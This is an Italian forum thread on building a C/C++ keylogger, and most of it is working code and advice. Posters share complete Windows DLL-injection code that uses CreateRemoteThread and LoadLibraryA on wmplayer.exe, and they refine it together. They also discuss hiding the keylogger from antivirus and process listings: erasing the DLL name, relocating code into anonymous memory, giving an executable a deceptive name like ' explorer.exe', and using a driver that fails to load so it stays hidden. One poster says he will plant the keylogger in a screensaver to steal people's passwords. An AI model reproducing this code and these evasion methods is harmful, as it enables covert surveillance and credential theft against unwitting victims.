[c++] key logger

[71104]

Ti do' invece ragione sulla VirtualAllocEx (più che altro come traccia per un programma che si occpua di rintracciare le dll injection, anche se è una traccia difficile da trovare).

difficile? tu lo trovi strano un antivirus che per detectare segni di DLL injection looppa su VirtualQueryEx finché non trova una pagina singola completamente nulla e con un nome di file all'inizio? a me sembra un'ottima strategia, c'è un'ottima probabilità di beccarlo (ma solo perché la pagina non è stata deallocata prima della scansione).

assumendo l'esistenza di un antivirus che in un momento arbitrario dopo l'injection scanna tutta la mappa della memoria virtuale di un processo vittima, facciamo un attimo di confronto tra due virus, uno scemo e uno furbo.

quello scemo non esegue mai VirtualFree o VirtualFreeEx, e il suo nome rimane lì bellamente in chiaro fino alla terminazione. quello furbo non solo cancella il nome, ma usa anche qualche trucchetto simile a quello del driver descritto precedentemente (alloca un'area di memoria dove si ricopia e riloca, e ritorna FALSE nella DllMain; ma non prima di aver richiamato la copia in un nuovo thread).

il risultato è ovvio, quello scemo viene sgamato subito, mentre per quanto riguarda quello furbo... amen: ormai non c'è più modo di sgamarlo, dovevi riuscirci durante l'injection, ora è diventato solo un'anonima area di memoria.

e ora una breve analisi sui vantaggi e svantaggi, da parte dell'antivirus, di usare VirtualQueryEx in cerca di filenames: supponi che l'antivirus debba trovare un virus furbo che si è ricopiato in memoria ed è uscito da DllMain con FALSE, scordandosi però di cancellare il nome del file. non appena l'antivirus sgama il nome del file, conosce automaticamente la DLL da mettere in quarantena, esaminare più attentamente, ed eventualmente far fuori. se invece l'antivirus non usasse questa tecnica gli risulterebbe difficile trovare una DLL clandestina che ormai non può più essere enumerata da PSAPI.

EDIT: Dimenticavo, di solito con programmi "maligni" si cerca di far chiudere il più possibile le risorse al SO, invece da specificare tutto "a mano", così da risparmiare istruzioni e rendere l'eseguibile finale più piccolo. Come dicevo prima, una prassi ragionata.

questo discorso ha senso solo se stai sfondando il bound di section alignment di pochi bytes; statisticamente raro, non vale la pena di ragionare in funzione di ciò.

[71104]

a proposito:

Originariamente inviato da 71104

PS: "inutile liberare memoria e handles, tanto ci pensa il sistema operativo alla chiusura del processo"? che culo, magari sapessi programmare così bene... -.-'

sappi che non tutti gli handles vengono liberati automaticamente alla terminazione del processo, quelli User e GDI per esempio rimangono causando errori grafici a distanza, con un classico utonto che ne attribuisce la colpa a Windows.

[mamo139]

quindi per migliorare il programma alla fine dovrei usare VirtualFree()??

va bene così?? avrò sicuramente sbagliato qualcosa

	HANDLE proc, thread;
	DWORD threadId, bWritten;
	BOOL check;
	VOID *remoteBuff;
	DWORD pid;
	FILE *fp;

	fp = fopen(logFile, "w");
	fprintf(fp, "Looking for: %s\n\n", processName);

	pid = trovaPid(processName, fp);

	if(pid == 0xFFFFFFFF){
		fprintf(fp, "\nProcess not found\n");
		return 0;
	}

	check = abilitaSeDebugName(fp);
	if (check == 0){
		fprintf(fp, "\nAbilitazione privilegio SE_DEBUG_NAME fallita\n");
	}

	proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (proc == NULL){
		fprintf(fp, "Errore OpenProcess() %d\n", GetLastError());
		return -1;
	}

	remoteBuff = VirtualAllocEx(proc, NULL, strlen(dllName), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (remoteBuff == NULL){
		fprintf(fp, "Errore VirtualAllocEx() %d\n", GetLastError());
		return -1;
	}
	else
		fprintf(fp, "\nCreati %d bytes all' indirizzo 0x%x\n", strlen(dllName), (ULONG)remoteBuff);

	check = WriteProcessMemory(proc, remoteBuff, dllName, strlen(dllName), &bWritten);
	if (check == 0){
		fprintf(fp, "Errore WriteProcessMemory() %d\n", GetLastError());
		return -1;
	}

	thread = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA"), remoteBuff, 0, &threadId);
	if (thread == NULL)
		fprintf(fp, "Errore CreateRemoteThread() %d\n", GetLastError());

	fprintf(fp, "\nInjection eseguita\n");
	fclose(fp);

VirtualFreeEx(proc,  remoteBuff,  strlen(dllName),  MEM_RELEASE );  

[71104]

non è solo quello, comunque prima di fare VirtualFreeEx devi attendere che il thread sia terminato. se nella DllMain hai da fare un lavoro lungo allora è meglio creare un altro thread nel processo target (cioè, all'interno di DllMain fai una CreateThread).

[-fidel-]

Originariamente inviato da 71104

questo discorso ha senso solo se stai sfondando il bound di section alignment di pochi bytes; statisticamente raro, non vale la pena di ragionare in funzione di ciò.

Non direi, prova a compilare (in versione release) il programma con le istruzioni di rilascio e poi senza, e vedi la differenza in termini di Kbytes (del codice di iniezione).
Per gli handles GDI lo sapevo, ma lì di tali handles non ve n'era traccia

[-fidel-]

Originariamente inviato da mamo139

quindi per migliorare il programma alla fine dovrei usare VirtualFree()??

va bene così?? avrò sicuramente sbagliato qualcosa

Attento, nel codice originario NON si liberava il buffer contenente il nome della DLL proprio per non rischiare che il nome della dll diventasse irraggiungibile dal processo vittima prima che il suo thread (lanciato da te con CreateRemoteThread) termini. Con 71104 si parlava proprio di affinare il meccanismo liberando anche quella memoria (tutto il resto viene già liberato in automatico). Se vuoi semplificarti la vita (senza la necessità di sincronizzare il tuo programma con la terminazione del thread remoto), puoi semplicemente fare una sleep per il tempo necessario al completamento del thread remoto (cerca di fare una statistica del tempo di esecuzione medio di quel thread) e po liberi la memoria. Ti basta fare qualche prova per trovare un buon valore per la sleep: quindi farai ad esempio:

sleep(1000); // Attendo 1 secondo
VirtualFreeEx(proc,  remoteBuff,  strlen(dllName),  MEM_RELEASE ); // Rilascio...

Prova anche con tempi minori, 1 secondo è già molto, a meno che nell'entry point della DLL non ci metti una marea di istruzioni: sappi solo che, una volta caricata, il nome della dll non serve più al processo "vittima".

[SerMagnus]

Originariamente inviato da 71104

secondo me il rallentamento del sistema non è un problema (basta avere l'accortezza di usare I/O asincrono durante la scrittura del log); ciò che è importante considerare nella creazione di un keylogger è il tipo di target: se si tratta di un classico utonto che sa solo usare Messenger allora è anche sufficiente un eseguibile che usa LowLevelKeyboard e che si chiami " explorer.exe" (con uno spazio iniziale) o qualche altro nome ingannevole, ma se abbiamo a che fare con un fior di amministratore di sistema allora qui ci serve un driver che alloca un'area di memoria su cui scrive il vero codice e poi fallisce il caricamento ritornando uno errore dalla DriverEntry; il driver non apparirà come caricato, e nel frattempo il codice allocato "clandestinamente" può installarsi come Keyboard Filter.

che figata!!! dove posso reperire materiale a riguardo

[71104]

Originariamente inviato da SerMagnus

che figata!!! dove posso reperire materiale a riguardo

MSDN, come al solito. un esempio già fatto non lo troverai mai.

[71104]

Originariamente inviato da -fidel-

Non direi, prova a compilare (in versione release) il programma con le istruzioni di rilascio e poi senza, e vedi la differenza in termini di Kbytes (del codice di iniezione).

nessuna
no scherzo, non ho manco provato
proverò nel pomeriggio, ma penso proprio che non ci sarà nessuna differenza...

[71104]

Originariamente inviato da -fidel-

Se vuoi semplificarti la vita (senza la necessità di sincronizzare il tuo programma con la terminazione del thread remoto), puoi semplicemente fare una sleep per il tempo necessario al completamento del thread remoto (cerca di fare una statistica del tempo di esecuzione medio di quel thread) e po liberi la memoria. Ti basta fare qualche prova per trovare un buon valore per la sleep: quindi farai ad esempio:

AAAAARGH ma che schifoooooo!!
ma perché fare una cagata simile quando è sufficiente una WaitForSingleObject sull'handle del thread??

[-fidel-]

Originariamente inviato da 71104

AAAAARGH ma che schifoooooo!!
ma perché fare una cagata simile quando è sufficiente una WaitForSingleObject sull'handle del thread??

Semplicemente non volevo aggiungere altra carne al fuoco... Ma tutto gli devi dire? Fai ragionare anche lui, magari ci arrivava da solo.............

[mamo139]

Originariamente inviato da -fidel-

Semplicemente non volevo aggiungere altra carne al fuoco... Ma tutto gli devi dire? Fai ragionare anche lui, magari ci arrivava da solo.............

grazie per la fiducia

cmq mi sorge spontanea una domanda: nel caso del keylogger fare una dll injection risulta utile perche poi non appare nella lista dei processi il keylogger...
ma il keylogger deve rimanere in funzione sempre... quindi a cosa serve cancellare la memoria alla fine??
io credevo che si potesse cancellare subito dopo aver lanciato la dll... ma se nn si puo nn è inutile lasciare "acceso" l'exe fino alla fine??

[71104]

Originariamente inviato da mamo139

cmq mi sorge spontanea una domanda: nel caso del keylogger fare una dll injection risulta utile perche poi non appare nella lista dei processi il keylogger...

ma appare comunque nella lista delle DLL del processo vittima se qualche programma è in grado di farla (ed esiste modo di farla); ecco perché sostengo che sia meglio, all'interno della DllMain, allocare una nuova area di memoria, ricopiare tutto, creare un nuovo thread ed uscire direttamente dalla DllMain con FALSE.

ma il keylogger deve rimanere in funzione sempre... quindi a cosa serve cancellare la memoria alla fine??

...

quando dicevamo della VirtualFreeEx non parlavamo di memoria allocata dal keylogger (cioè dalla DLL), ma dall'eseguibile; e devi cancellarla per non lasciare tracce. ma anche se fosse memoria allocata dal keylogger il discorso che fai è assurdo: pensa che succede se fai una malloc senza una corrispondente free ad ogni pressione di un tasto...

così non lo aiuti di certo il povero Windows col suo (devo dire) eccellenterrimo algoritmo di swap...

io credevo che si potesse cancellare subito dopo aver lanciato la dll... ma se nn si puo nn è inutile lasciare "acceso" l'exe fino alla fine??

infatti quel programma che hai te non va bene: te l'avevo detto che faceva schifo. non è all'interno della DllMain che devi svolgere tutto il lavoro di logging dei tasti, bensì all'interno di un nuovo thread creato con CreateThread semplice nella DllMain.

[mamo139]

ok... in teoria ora ci sono...
ma in pratica no...
mi potresti fare un esempietto che mi fa vedere come svolgere tutto il lavoro all'interno di un nuovo thread creato con CreateThread???
basta anche solo una funzione che mi fa comparire un alert... sono per capire...

[71104]

Originariamente inviato da 71104

nessuna

infatti

ho compilato il programma con e senza le istruzioni di deallocazione. la sezione di testo è grossa 0x00001400 in entrambi i casi e, come avrai potuto notare, è cifra tonda...

allego il main da me modificato:

int main(int argc, char **argv){
	char processName[] = "wmplayer.exe"; /* Nome processo su cui effettuare injection */
	char logFile[]= "log.txt"; /* Nome del file di log per controllare successo o fallimento operazioni */
	char dllName[]="dll.dll"; /* Nome dll da cui prelevare il codice da iniettare */

	HANDLE proc, thread;
	DWORD threadId, bWritten;
	BOOL check;
	VOID *remoteBuff;
	DWORD pid;
	FILE *fp;

	fp = fopen(logFile, "w");
	fprintf(fp, "Looking for: %s\n\n", processName);

	pid = trovaPid(processName, fp);

	if(pid == 0xFFFFFFFF){
		fprintf(fp, "\nProcess not found\n");
		fclose(fp);
		return 0;
	}

	check = abilitaSeDebugName(fp);
	if (check == 0){
		fprintf(fp, "\nAbilitazione privilegio SE_DEBUG_NAME fallita\n");
	}

	proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (proc == NULL){
		fprintf(fp, "Errore OpenProcess() %d\n", GetLastError());
		fclose(fp);
		return -1;
	}

	remoteBuff = VirtualAllocEx(proc, NULL, strlen(dllName), MEM_COMMIT, PAGE_READONLY);
	if (remoteBuff == NULL){
		fprintf(fp, "Errore VirtualAllocEx() %d\n", GetLastError());
		CloseHandle(proc);
		fclose(fp);
		return -1;
	}
	else
		fprintf(fp, "\nCreati %d bytes all' indirizzo 0x%x\n", strlen(dllName), (ULONG)remoteBuff);

	check = WriteProcessMemory(proc, remoteBuff, dllName, strlen(dllName), &bWritten);
	if (check == 0){
		fprintf(fp, "Errore WriteProcessMemory() %d\n", GetLastError());
		VirtualFreeEx(proc, remoteBuff, 0, MEM_RELEASE);
		CloseHandle(proc);
		fclose(fp);
		return -1;
	}

	thread = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA"), remoteBuff, 0, &threadId);
	if (thread == NULL)
		fprintf(fp, "Errore CreateRemoteThread() %d\n", GetLastError());
	else
		WaitForSingleObject(thread, INFINITE);

	fprintf(fp, "\nInjection eseguita\n");

	VirtualFreeEx(proc, remoteBuff, 0, MEM_RELEASE);
	CloseHandle(thread);
	CloseHandle(proc);
	fclose(fp);
	return 0;
}

che però fa ancora schifo :|

[-fidel-]

Originariamente inviato da 71104

infatti quel programma che hai te non va bene: te l'avevo detto che faceva schifo. non è all'interno della DllMain che devi svolgere tutto il lavoro di logging dei tasti, bensì all'interno di un nuovo thread creato con CreateThread semplice nella DllMain.

Occhio ad una cosa: il codice di injection va bene, non fa schifo come continui a sostenere (), al massimo ci aggiungi la VirtualFreeEx appena il processo vittima ha caricato la DLL.
Qui il problema diventa la DLL iniettata (il codice della quale Mamo neanche l'ha scritto, a meno della MessageBox). Si può installare un Keyboard Hook globale in diversi modi, quello che suggerisci è il migliore, ma presuppone che le istruzioni del thread sia uno shellcode (quindi già in codice macchina).
Questo comunque è un problema separato dal codice di iniezione che, ripeto, va bene.

[71104]

Originariamente inviato da -fidel-

Si può installare un Keyboard Hook globale in diversi modi, quello che suggerisci è il migliore, ma presuppone che le istruzioni del thread sia uno shellcode (quindi già in codice macchina).

ma perché...? puoi scriverlo tranquillamente in C eh...

[-fidel-]

Originariamente inviato da 71104

ma perché...? puoi scriverlo tranquillamente in C eh...

Ah, e come? Io l'ho sempre fatto con lo shellcode

[71104]

Originariamente inviato da mamo139

ok... in teoria ora ci sono...
ma in pratica no...
mi potresti fare un esempietto che mi fa vedere come svolgere tutto il lavoro all'interno di un nuovo thread creato con CreateThread???
basta anche solo una funzione che mi fa comparire un alert... sono per capire...

aaaaaaaaaaallora... adesso facciamo una cosa: SCRIVO UN KEYLOGGER

così vi mostrerò il mio ideale di virus e in più avrò una bella bestia di keylogger da piazzare nelle risorse di uno screensaver e installare a tradimento sui computer di quelli di cui voglio sapere le passwords :PPPP

DISCLAIMER: scherzo però il keylogger lo faccio davvero

[71104]

Originariamente inviato da -fidel-

Ah, e come? Io l'ho sempre fallo con lo shellcode

scusa ma non ho mica capito la ragione per la quale dovresti farne uno shellcode...
non stai mica scrivendo un exploit da buffer overflow, hai un modulo PE completo e funzionante... devi solo creare un thread con CreateThread e passargli come entry point una tua funzione con un determinato prototipo...